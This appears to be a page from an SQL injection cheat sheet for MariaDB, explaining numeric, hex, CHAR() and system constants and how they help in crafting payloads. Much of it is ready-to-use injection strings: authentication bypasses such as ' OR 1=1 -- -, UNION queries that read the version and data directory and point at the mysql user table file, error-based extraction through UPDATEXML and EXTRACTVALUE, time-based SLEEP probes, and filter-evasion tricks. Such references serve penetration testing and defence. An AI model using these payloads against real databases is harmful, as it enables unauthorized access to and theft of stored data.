mariadb

Constants

MariaDB constants and literals useful in SQL injection

Constants

MariaDB supports various types of constants (literals) that can be valuable in SQL injection attacks. Understanding these constants helps in crafting more effective payloads and bypassing certain filters.

Numeric Constants

MariaDB supports several formats for numeric literals:

TypeExampleNotes
Integer1234Regular integer
Negative Integer-123Negative value
Decimal123.45Decimal point notation
Scientific Notation1.23e2Same as 123.0
Hexadecimal0xFFSame as 255
Binary0b1111Same as 15
Booleantrue, falseSame as 1 and 0

String Constants

String literals can be represented in several ways:

TypeExampleNotes
Single Quote'text'Standard SQL string
Double Quote"text"Valid if ANSI_QUOTES SQL mode is disabled
Hex String0x74657874Hexadecimal representation of ‘text’
CHAR()CHAR(97,100,109,105,110)Builds ‘admin’ from ASCII codes
Binary String_binary'text'Binary string

Building Strings with CHAR()

The CHAR() function converts integers to characters, useful for bypassing quote filters:

-- Build 'admin' from ASCII codes
SELECT CHAR(97, 100, 109, 105, 110) -- Returns: admin

-- Build arbitrary strings using CONCAT and CHAR
SELECT CONCAT(CHAR(116), CHAR(101), CHAR(115), CHAR(116)) -- Returns: test

Temporal Constants

Date and time constants:

TypeExampleNotes
Date'2025-12-18'YYYY-MM-DD format
Time'15:30:45'HH:MM:SS format
Datetime'2025-12-18 15:30:45'YYYY-MM-DD HH:MM:SS format
TimestampTIMESTAMP '2025-12-18 15:30:45'ANSI SQL timestamp

Special Constants

MariaDB has several special values:

ConstantDescription
NULLRepresents a NULL value
\NNULL synonym in file I/O operations (LOAD DATA, SELECT … INTO OUTFILE)
CURRENT_USER()Returns authenticated account as user@host
DEFAULTUsed to specify default column value
CURRENT_TIMESTAMPCurrent date and time
CURRENT_DATECurrent date
CURRENT_TIMECurrent time

COALESCE Function

The COALESCE function returns the first non-NULL value in a list:

-- Returns first non-NULL value
SELECT COALESCE(NULL, 'default_value') -- Returns: default_value

-- Useful for error-based extraction with fallback
SELECT COALESCE(NULL, NULL, @@version) -- Returns: version string

System Constants

Some important MariaDB system constants:

ConstantDescriptionExample Value
@@versionMariaDB version10.6.24-MariaDB
@@datadirData directory/var/lib/mysql/
@@hostnameServer hostnamedb-server
@@server_idServer ID1
@@basedirBase directory/usr/
@@tmpdirTemporary directory/tmp
@@portMariaDB port3306
@@log_errorError log path/var/log/mysql/error.log

Boolean Expressions

Boolean expressions evaluate to 1 or 0:

ExpressionResult
1=11 (true)
1=00 (false)
NULL IS NULL1 (true)
NULL IS NOT NULL0 (false)
true AND true1 (true)
true AND false0 (false)

Using Constants in SQL Injection

String Constants in Bypasses

-- Standard string
' OR 'a'='a

-- Hex string bypass
' OR 0x613d61 -- (a=a in hex)

-- Mixed approach
' OR 0x61='a' -- (a='a')

Numeric Constants in Bypasses

-- Boolean as number
' OR true -- (same as 1)

-- Hex number
' OR 0x1 -- (same as 1)

-- Mathematical expression
' OR 4-3 -- (evaluates to 1)

Practical Applications

Using Boolean Constants
-- Simple authentication bypass
' OR 1 -- -
' OR true -- -
' OR 1=1 -- -
Using String Constants
-- Hex-encoded bypass
' UNION SELECT 0x61646D696E -- - (selects 'admin')

-- Bypassing quote filters with CHAR()
SELECT CHAR(97, 100, 109, 105, 110) -- 'admin'

-- Hex string in UNION injection
SELECT id, username FROM users WHERE id = 999 UNION SELECT 1, 0x696E6A6563746564
-- 0x696E6A6563746564 = 'injected'
Using System Constants
-- Information gathering
' UNION SELECT @@version, @@datadir -- -

-- Path disclosure
' UNION SELECT CONCAT(@@datadir,'/mysql/user.MYD') -- -

Error-Based Injection with Constants

-- UPDATEXML error-based extraction
' AND UPDATEXML(1,CONCAT('~',@@version,'~'),1) -- -

-- EXTRACTVALUE error-based extraction
' AND EXTRACTVALUE(1,CONCAT(0x7e,@@version,0x7e)) -- -

-- Causing type conversion errors
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(@@version,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) -- -

Constants in Time-Based Attacks

-- Sleep only if condition is true
' AND IF(SUBSTR(@@version,1,1)='1',SLEEP(5),0) -- -

-- Using hex constants in time-based
' AND IF(SUBSTR(@@version,1,1)=0x31,SLEEP(5),0) -- - (checking for '1')

Case Sensitivity

Boolean and NULL constants are case-insensitive, useful for bypassing case-sensitive filters:

-- All equivalent (case-insensitive)
SELECT TRUE, True, true   -- All return 1
SELECT FALSE, False, false -- All return 0
SELECT NULL, Null, null   -- All return NULL

-- Can be useful for bypassing case-sensitive filters
' OR TRUE -- -
' OR True -- -
' OR true -- -

Limitations and Considerations

  1. Hex string literals are MySQL/MariaDB-specific and may not work in other databases
  2. Some constants like true/false are case-insensitive (can be used for filter bypass)
  3. String constants are limited to available character encoding
  4. Some system constants require specific privileges to access
  5. Constants behavior can vary across MariaDB versions